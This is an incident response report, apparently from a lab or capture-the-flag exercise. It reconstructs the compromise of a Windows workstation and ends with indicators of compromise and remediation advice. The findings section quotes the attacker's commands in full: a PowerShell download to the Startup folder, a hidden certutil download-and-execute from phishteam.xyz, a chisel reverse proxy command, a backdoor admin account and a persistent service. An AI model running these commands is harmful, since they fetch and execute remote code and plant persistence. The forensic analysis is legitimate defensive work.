Incident Summary Report – Tempest Challenge

Incident ID: SOC-IR-2026-TEMPEST
Date of Investigation: April 19, 2026
Incident Responder: Badr Naji
Severity: **Critical**

1. Executive Summary

A compromised workstation (hostname `TEMPEST`, user `benimaru`) was investigated following a SOC alert indicating malicious document execution. The attack chain involved a macro-enabled Word document exploiting **CVE-2022-30190** (Follina) to download and execute a second-stage payload. The attacker performed internal reconnaissance, established a reverse socks proxy using `chisel`, escalated privileges via `PrintSpoofer` (exploiting `SeImpersonatePrivilege`), created two backdoor users (`shion`, `shuna`), added `shion` to the local Administrators group, and finally installed a persistent service (`TempestUpdate2`) using `sc.exe`. All malicious activities were captured in Sysmon, Windows Event Logs, and network pcap.

2. Timeline of Key Events

Timestamp (approx.)	Event Description
2022-06-20 (based on logs)	User downloaded `free_magicules.doc` via Chrome.

Shortly after	Word process (PID 496) executed encoded PowerShell payload.
–	Payload downloaded `update.zip` from `http://phishteam.xyz/02dcf07/`.

Timestamp (approx.)	Event Description
–	Extracted to `C:\Users\benimaru\AppData\Roaming\...\Startup` (persistence via Startup folder).
–	On login, executed `certutil` to download `first.exe` from same domain.
–	`first.exe` established C2 to `resolvecyber.xyz:80` (HTTP, base64 encoding, parameter `q`).

–	Attacker discovered password `infernotempest` from a sensitive file.
–	Enumerated open ports; identified WinRM (port 5985).
–	Downloaded `ch.exe` (SHA256 `8A9935...`) – identified as `chisel`.
–	Executed `ch.exe client 167.71.199.191:8080 R:socks` (reverse socks proxy).
–	Used harvested credentials to authenticate via WinRM.
–	Downloaded `spf.exe` (SHA256 `8524FB...`) – identified as `PrintSpoofer`.

Timestamp (approx.)	Event Description
–	Exploited `SeImpersonatePrivilege` to spawn `final.exe` as SYSTEM.
–	`final.exe` connected to C2 on port 8080.
–	Attacker attempted to create users without `/add` (failed).
–	Successfully created users `shion` and `shuna` (Event ID 4720).
–	Added `shion` to Administrators group (Event ID 4732).

–	Created persistent service: `sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto`.

3. Detailed Findings

3.1 Initial Access – Malicious Document

- **File:** `free_magicules.doc` (downloaded via Chrome)
- **Word PID:** 496
- **Exploit:** CVE-2022-30190 (Follina) – remote code execution via MSDT **Base64 payload decoded:**

```
$app=[Environment]::GetFolderPath('ApplicationData');cd "$app\Microsoft\Windows\Start Menu\Programs\Startup"; iwr http://phishteam.xyz/02dcf07/update.zip -outfile update.zip; ExpandArchive .\update.zip -DestinationPath .; rm update.zip;
```

- **DNS resolution:** `phishteam.xyz` → `167.71.199.191`

3.2 Stage 2 Execution & Persistence

- **Payload path:** `C:\Users\benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`
- **Startup command (on login):**

```
powershell.exe -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exe
```

- **Downloaded binary SHA256:** `CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8`
- **C2 domain/port:** `resolvecyber.xyz:80`

3.3 Network Traffic Analysis (pcap)

Attribute	Value
URL of stage 2 payload	`http://phishteam.xyz/02dcf07/index.html`

Encoding used in C2	base64
Parameter containing command results	`q`
C2 command fetch URL	`/9ab62b5`
HTTP method	GET
User-agent indicates programming language	`nim`

3.4 Internal Reconnaissance

Attribute	Value
Discovered password	`infernotempest`

Listening port for remote shell	`5985` (WinRM)
Reverse socks proxy command	`C:\Users\benimaru\Downloads\ch.exe client 167.71.199.191:8080 R:socks`
Chisel binary SHA256	`8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451`
Tool name	`chisel`
Authentication service used after socks proxy	`winrm`

3.5 Privilege Escalation

Attribute	Value
Privilege escalation binary	`spf.exe`
SHA256	`8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D`
Tool name	`printspoofer`
Exploited privilege	`SeImpersonatePrivilege`
Resulting C2 binary	`final.exe`
C2 port	`8080`

3.6 Actions on Objective – Persistence & Account Creation

Attribute	Value
Created users (alphabetical)	`shion`, `shuna`

Failed creation attempt missing option	`/add`
Windows Event ID for user creation	`4720`
Command to add user to Administrators group	`net localgroup administrators /add shion`
Windows Event ID for group membership change	`4732`
Persistent service command	`C:\Windows\system32\sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto`

4. Indicators of Compromise (IOCs)

Type	Value

File (SHA256) – stage 2	`CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8`
File (SHA256) – chisel	`8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451`
File (SHA256) – printspoofer	`8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D`
Domain	`phishteam.xyz`
Domain	`resolvecyber.xyz`
IP	`167.71.199.191`

URLs	`http://phishteam.xyz/02dcf07/update.zip`
	`http://phishteam.xyz/02dcf07/first.exe`
	`http://phishteam.xyz/02dcf07/index.html`

C2 ports	`80`, `8080`
User accounts created	`shion`, `shuna`
Service name	`TempestUpdate2`

Executable paths	`C:\ProgramData\final.exe`
	`C:\Users\benimaru\Downloads\ch.exe`
	`C:\Users\Public\Downloads\first.exe`

5. Recommendations

1. **Immediate containment:** Isolate `TEMPEST` workstation; revoke compromised credentials.
2. **Remove persistence:** Delete scheduled startup item, remove `TempestUpdate2` service, delete backdoor users `shion` and `shuna`.
3. **Block IOCs:** Add domains/IPs to firewall blocklist; search environment for same SHA256 hashes.
4. **Audit WinRM configuration:** Restrict access to WinRM (port 5985) and enforce strong authentication.
5. **Review privilege assignments:** Ensure `SeImpersonatePrivilege` is not granted to non-administrative accounts.
6. **Enhance logging:** Ensure Sysmon and PowerShell script block logging (Event ID 4104) are enabled across endpoints.
7. **User education:** Warn users about opening unexpected `.doc` attachments, even from trusted sources.

6. Conclusion

The Tempest incident represents a complete attack chain: initial access via a Follina exploit, persistence through Startup folder, internal reconnaissance, reverse socks proxy, privilege escalation via PrintSpoofer, creation of backdoor accounts, and final persistence as a service. All phases were successfully detected using Sysmon, Windows Event Logs, and network pcap analysis. The incident responder has documented all IOCs and recommended remediation steps.

Prepared by: *SOC Incident Response Team*
Classification: *Confidential – Internal Use Only*